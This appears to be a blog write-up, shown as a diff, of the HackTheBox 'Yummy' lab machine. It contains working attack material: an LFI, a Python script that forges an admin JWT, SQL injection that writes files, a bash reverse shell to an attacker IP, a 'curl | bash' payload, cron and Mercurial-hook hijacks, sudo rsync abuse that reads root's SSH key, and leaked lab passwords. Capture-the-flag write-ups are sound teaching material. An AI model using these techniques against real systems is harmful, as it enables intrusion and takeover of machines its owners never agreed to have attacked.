|
| 1 | +--- |
| 2 | +layout: single |
| 3 | +title: "HTB Yummy Writeup" |
| 4 | +seo_title: "Writeup for the HackTheBox Yummy Machine" |
| 5 | +date: 2025-02-21 12:00:00 +0200 |
| 6 | +categories: ['HackTheBox', 'Linux'] |
| 7 | +classes: wide |
| 8 | +toc: true |
| 9 | +header: |
| 10 | + teaser: "/assets/images/headers/Yummy.png" |
| 11 | +--- |
| 12 | +The "Yummy" machine on HackTheBox is a hard Linux machine that starts off with a Local File Inclusion (LFI) vulnerability in order to read the locations of several cron job scripts. These scripts lead to a database backup script of the website's source code that leaks a secret JWT key to forge a token for the admin account on the site. The backend is vulnerable to SQL injection that gives us initial access to the machine. Further enumeration reveals the password for another user that can run a command as root to move laterally to a developer account. This account can run `rsync` as root, which allows us to write a SSH key to the root user. |
| 13 | + |
| 14 | +# Reconnaissance |
| 15 | +Our initial port scan only shows the standard port 22 and 80 open. |
| 16 | + |
| 17 | +``` |
| 18 | +# Nmap 7.94SVN scan initiated Sun Oct 6 14:04:12 2024 as: nmap -p- -sCV -v -oN yummy.nmap 10.129.74.97 |
| 19 | +Nmap scan report for 10.129.74.97 |
| 20 | +Host is up (0.014s latency). |
| 21 | +Not shown: 65533 closed tcp ports (conn-refused) |
| 22 | +PORT STATE SERVICE VERSION |
| 23 | +22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0) |
| 24 | +| ssh-hostkey: |
| 25 | +| 256 a2:ed:65:77:e9:c4:2f:13:49:19:b0:b8:09:eb:56:36 (ECDSA) |
| 26 | +|_ 256 bc:df:25:35:5c:97:24:f2:69:b4:ce:60:17:50:3c:f0 (ED25519) |
| 27 | +80/tcp open http Caddy httpd |
| 28 | +| http-methods: |
| 29 | +|_ Supported Methods: GET HEAD POST OPTIONS |
| 30 | +|_http-title: Did not follow redirect to http://yummy.htb/ |
| 31 | +|_http-server-header: Caddy |
| 32 | +Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel |
| 33 | +``` |
| 34 | + |
| 35 | +The website redirects us to `yummy.htb` and also displays that the version in use is **Caddy**. We add the domain to the `/etc/hosts` file and continue to explore the webpages. After creating an account and logging in, we can book tables. |
| 36 | + |
| 37 | + |
| 38 | + |
| 39 | +From our dashboard, it is possible to save our reservation to a calendar file (ics). |
| 40 | + |
| 41 | + |
| 42 | + |
| 43 | +The request makes a call to the `/export/Yummy_reservation_YYYYMMDD_hhmmss` endpoint where the date is the current timestamp of the export. This endpoint is vulnerable to LFI and we can alter the request to read any file the web user has access to. |
| 44 | + |
| 45 | + |
| 46 | + |
| 47 | +From the leaked file, we can already identify several users on the machine: |
| 48 | + |
| 49 | +``` |
| 50 | +root:x:0:0:root:/root:/bin/bash |
| 51 | +dev:x:1000:1000:dev:/home/dev:/bin/bash |
| 52 | +mysql:x:110:110:MySQL Server,,,:/nonexistent:/bin/false |
| 53 | +caddy:x:999:988:Caddy web server:/var/lib/caddy:/usr/sbin/nologin |
| 54 | +qa:x:1001:1001::/home/qa:/bin/bash |
| 55 | +``` |
| 56 | + |
| 57 | +Further enumeration reveals that the contents of the crontabs file contains some scripts. |
| 58 | + |
| 59 | +```bash |
| 60 | +*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh |
| 61 | +*/15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh |
| 62 | +* * * * * mysql /bin/bash /data/scripts/dbmonitor.sh |
| 63 | +``` |
| 64 | + |
| 65 | +Again we can download those files via the LFI vulnerability and check their contents. |
| 66 | + |
| 67 | +## App Backup |
| 68 | +The contents of the `app_backup.sh` script reveals the location of a zip file. |
| 69 | + |
| 70 | +```bash |
| 71 | +#!/bin/bash |
| 72 | + |
| 73 | +cd /var/www |
| 74 | +/usr/bin/rm backupapp.zip |
| 75 | +/usr/bin/zip -r backupapp.zip /opt/app |
| 76 | +``` |
| 77 | + |
| 78 | +The zip file is a backup of the original source code. Now we can proceed to do some code analysis and see if we can spot some additional vulnerabilities or credentials. The login method is interesting. |
| 79 | + |
| 80 | +```python |
| 81 | +if user: |
| 82 | + payload = { |
| 83 | + 'email': email, |
| 84 | + 'role': user['role_id'], |
| 85 | + 'iat': datetime.now(timezone.utc), |
| 86 | + 'exp': datetime.now(timezone.utc) + timedelta(seconds=3600), |
| 87 | + 'jwk':{'kty': 'RSA',"n":str(signature.n),"e":signature.e} |
| 88 | + } |
| 89 | + access_token = jwt.encode(payload, signature.key.export_key(), algorithm='RS256') |
| 90 | + |
| 91 | + response = make_response(jsonify(access_token=access_token), 200) |
| 92 | + response.set_cookie('X-AUTH-Token', access_token) |
| 93 | + return response |
| 94 | +else: |
| 95 | + return jsonify(message="Invalid email or password"), 401 |
| 96 | +``` |
| 97 | + |
| 98 | +It uses the `signature.py` module to encode the payload into a JWT token. The payload does contain the RSA module (n) and the encryption exponent (e). With knowledge of these values, we can decode any JWT token to find the original prime factors p and q and break the encryption. |
| 99 | + |
| 100 | +Let's have a look at how we can decode our 'customer' token and modify it to become an 'administrator'. |
| 101 | + |
| 102 | +```python |
| 103 | +import base64, json, jwt, sympy |
| 104 | +from Crypto.PublicKey import RSA |
| 105 | +from cryptography.hazmat.backends import default_backend |
| 106 | +from cryptography.hazmat.primitives import serialization |
| 107 | + |
| 108 | +token = '<OUR_JWT_TOKEN>' |
| 109 | + |
| 110 | +def add_padding(b64_str): |
| 111 | + while len(b64_str) % 4 != 0: |
| 112 | + b64_str += '=' |
| 113 | + return b64_str |
| 114 | + |
| 115 | +def base64url_decode(input): |
| 116 | + input = add_padding(input) |
| 117 | + input = input.replace('-', '+').replace('_', '/') |
| 118 | + return base64.b64decode(input) |
| 119 | + |
| 120 | +# extract second portion of token |
| 121 | +payload = json.loads(base64url_decode(token.split(".")[1]).decode()) |
| 122 | + |
| 123 | +# find prime factors to get the decryption exponent (d) |
| 124 | +n = int(payload["jwk"]['n']) |
| 125 | +p,q = list(sympy.factorint(n).keys()) |
| 126 | +e = 65537 |
| 127 | +phi_n = (p - 1) * (q - 1) |
| 128 | +d = pow(e, -1, phi_n) |
| 129 | + |
| 130 | +key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q} |
| 131 | +key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q'])) |
| 132 | +private_key_bytes = key.export_key() |
| 133 | + |
| 134 | +private_key = serialization.load_pem_private_key( |
| 135 | + private_key_bytes, |
| 136 | + password=None, |
| 137 | + backend=default_backend() |
| 138 | +) |
| 139 | + |
| 140 | +public_key = private_key.public_key() |
| 141 | + |
| 142 | +# decode token and insert admin role |
| 143 | +data = jwt.decode(token, public_key, algorithms=["RS256"]) |
| 144 | +data["role"] = "administrator" |
| 145 | + |
| 146 | +# encode the new data in new token |
| 147 | +new_token = jwt.encode(data, private_key, algorithm="RS256") |
| 148 | +print(new_token) |
| 149 | +``` |
| 150 | + |
| 151 | +If we run the above script and insert our user JWT in the token field, we now have a JWT that has the 'administrator' role. Now let's see what we can do with this. Further along in the code of `app.py` there is an SQL Injection vulnerability in the `admindashboard` endpoint. |
| 152 | + |
| 153 | +```sql |
| 154 | +# added option to order the reservations |
| 155 | +order_query = request.args.get('o', '') |
| 156 | + |
| 157 | +sql = f"SELECT * FROM appointments WHERE appointment_email LIKE %s order by appointment_date {order_query}" |
| 158 | +``` |
| 159 | + |
| 160 | +# Foothold |
| 161 | +Let's perform a search query on the admin dashboard and intercept the request with BurpSuite. We can confirm the SQL Injection by making the server sleep for several seconds. |
| 162 | + |
| 163 | + |
| 164 | + |
| 165 | +Now we need to figure out what we can do with this. Remember we still have a couple of cron files we haven't looked at yet, one of which is the `dbmonitor.sh` script. After we download this file via the same method as before, some things stand out. |
| 166 | + |
| 167 | +```bash |
| 168 | +<SNIP> |
| 169 | + if [ -f /data/scripts/dbstatus.json ]; then |
| 170 | + if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null; then |
| 171 | + /usr/bin/echo "The database was down at $timestamp. Sending notification." |
| 172 | + /usr/bin/echo "$service was down at $timestamp but came back up." | /usr/bin/mail -s "$service was down!" root |
| 173 | + /usr/bin/rm -f /data/scripts/dbstatus.json |
| 174 | + else |
| 175 | + /usr/bin/rm -f /data/scripts/dbstatus.json |
| 176 | + /usr/bin/echo "The automation failed in some way, attempting to fix it." |
| 177 | + latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1) |
| 178 | + /bin/bash "$latest_version" |
| 179 | + fi |
| 180 | + else |
| 181 | + /usr/bin/echo "Response is OK." |
| 182 | + fi |
| 183 | +fi |
| 184 | +[ -f dbstatus.json ] && /usr/bin/rm -f dbstatus.json |
| 185 | +``` |
| 186 | + |
| 187 | +If the file `dbstatus.json` exists and does not conain the string "database is down" then it runs a command with `/bin/bash`. Afterwards it deletes the JSON file and runs this every minute or so. The `latest_version` variable lists the contents of the scripts folder with a wildcard. First we create a reverse shell script. |
| 188 | + |
| 189 | +```console |
| 190 | +$ echo "#\!/bin/bash\nbash -i >& /dev/tcp/10.10.14.102/9001 0>&1" > shell.sh |
| 191 | +$ chmod +x shell.sh |
| 192 | +$ sudo python -m http.server 80 |
| 193 | +``` |
| 194 | + |
| 195 | +We create a small script that automates our exploit. |
| 196 | + |
| 197 | +```bash |
| 198 | +ip="10.10.14.102" |
| 199 | +token="<ADMIN_JWT_TOKEN>" |
| 200 | + |
| 201 | +write_file() { |
| 202 | + curl -s -H "Cookie: X-AUTH-Token=$token" "http://yummy.htb/admindashboard?s=ABC&o=ASC;select+\"$1\"+INTO+OUTFILE+'$2';" |
| 203 | +} |
| 204 | + |
| 205 | +# write a file to request the reverse shell and execute it with bash |
| 206 | +write_file "curl+$ip/shell.sh+|bash" "/data/scripts/fixer-v999" |
| 207 | + |
| 208 | +# write an empty file to dbstatus.json |
| 209 | +write_file "" "/data/scripts/dbstatus.json" |
| 210 | +``` |
| 211 | + |
| 212 | +We run the above script and after a minute we should have received a connection back to our machine. |
| 213 | + |
| 214 | +# User |
| 215 | +After getting a shell as the `mysql` we still have very limited access. We can move laterally to the `www-data` user since there is also a script (`app_backup.sh`) that runs every minute by this user. Therefore we can remove the backup file and replace it with our shell script. |
| 216 | + |
| 217 | +```console |
| 218 | +mysql@yummy:/var/spool/cron$ cd /data/scripts |
| 219 | +mysql@yummy:/data/scripts$ wget http://10.10.14.102/shell.sh |
| 220 | +mysql@yummy:/data/scripts$ rm app_backup.sh |
| 221 | +mysql@yummy:/data/scripts$ mv shell.sh app_backup.sh |
| 222 | +``` |
| 223 | + |
| 224 | +Meanwhile, we run a netcat listener to catch another shell (it might take a few tries). Now we can enter the web folders. We can find a password for another user in the `/var/www/qa_testing/.hg/store/data/app.py.i` file. |
| 225 | +```console |
| 226 | +www-data@yummy:~$ cd /var/www/app-qatesting/.hg/store/data |
| 227 | +www-data@yummy:~/app-qatesting/.hg/store/data$ strings app.py.i |
| 228 | +'user': 'chef', |
| 229 | +'password': '3wDo7gSRZIwIHRxZ!', |
| 230 | + |
| 231 | +'user': 'qa', |
| 232 | +'password': 'jPAd!XQCtn8Oc@2B', |
| 233 | +``` |
| 234 | + |
| 235 | +We can now SSH as the `qa` user. |
| 236 | + |
| 237 | +``` |
| 238 | +ssh qa@yummy.htb |
| 239 | +qa@yummy:~$ cat user.txt |
| 240 | +``` |
| 241 | + |
| 242 | +# Root |
| 243 | +## QA to Dev |
| 244 | +The qa user can run a command as the dev user. |
| 245 | + |
| 246 | +```console |
| 247 | +qa@yummy:~$ sudo -l |
| 248 | +User qa may run the following commands on localhost: |
| 249 | + (dev : dev) /usr/bin/hg pull /home/dev/app-production/ |
| 250 | +``` |
| 251 | + |
| 252 | +Looking online this command is used by Mercurial SCM. In our home folder we have a `.hgrc` file that contains some configuration options. |
| 253 | + |
| 254 | +One option of Mercurial is to create hooks that run before/after certain actions. From the [Mercurial Docs](https://repo.mercurial-scm.org/hg/help/hgrc) there is also a hook called `post-<command>` that runs after successful invocations of the associated command. |
| 255 | + |
| 256 | +```console |
| 257 | +qa@yummy:~$ nano .hgrc |
| 258 | +[hooks] |
| 259 | +post-pull = /tmp/shell.sh |
| 260 | +``` |
| 261 | + |
| 262 | +Again we download our shell and modify the `.hgrc` file to run our shell after a pull request. Next we run a netcat listener and perform the pull request as the `dev` user. |
| 263 | + |
| 264 | +```console |
| 265 | +qa@yummy:~/tmp$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/ |
| 266 | +abort: Permission denied: '/home/qa/.hg' |
| 267 | +``` |
| 268 | + |
| 269 | +When running the command, we get a permission denied so we try another way. From the same Docs, you can also specify the configuration file inside the `.hg` folder per repository. We can create this file in the `/tmp` directory and then try to run our exploit again. |
| 270 | + |
| 271 | +```console |
| 272 | +qa@yummy:~/tmp$ mkdir .hg |
| 273 | +qa@yummy:~/tmp$ chmod 777 .hg |
| 274 | +qa@yummy:~/tmp$ cp ~/.hgrc .hg/hgrc |
| 275 | +qa@yummy:~/tmp$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/ |
| 276 | +``` |
| 277 | + |
| 278 | +## Dev to Root |
| 279 | +We now have a shell as the `dev` user that can run `rsync` as root. We can exploit this by copying `/bin/bash` and changing the permissions so that after running the command we can run the binary as the root user. |
| 280 | + |
| 281 | +```console |
| 282 | +dev@yummy:~/app-production$ sudo -l |
| 283 | +sudo -l |
| 284 | +Matching Defaults entries for dev on localhost: |
| 285 | + env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty |
| 286 | + |
| 287 | +User dev may run the following commands on localhost: |
| 288 | + (root : root) NOPASSWD: /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/ |
| 289 | +``` |
| 290 | + |
| 291 | +One quick way to read the root flag or root SSH key is using the following command: |
| 292 | + |
| 293 | +```console |
| 294 | +dev@yummy:~$ sudo /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/../../../root/root.txt --chmod=777 /opt/app/ && cat /opt/app/root.txt |
| 295 | +dev@yummy:~$ sudo /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/../../../root/.ssh/id_rsa --chmod=777 /opt/app/ && cat /opt/app/id_rsa |
| 296 | +``` |
| 297 | + |
| 298 | +The key element is the `--chmod` flag of the rsync binary. This addtional parameters changes the ownership of the copied file. Since we are the `dev` user, all files will be copied under our permissions, so this option lets us change the permission of file we copied from the root directory. Now we can copy the SSH key and login as the root user. |
| 299 | + |
| 300 | +```console |
| 301 | +$ chmod 600 id_rsa |
| 302 | +$ shh -i id_rsa root@yummy.htb |
| 303 | +root@yummy:~# id |
| 304 | +uid=0(root) gid=0(root) groups=0(root) |
| 305 | +root@yummy:~# cat root.txt |
| 306 | +``` |
0 commit comments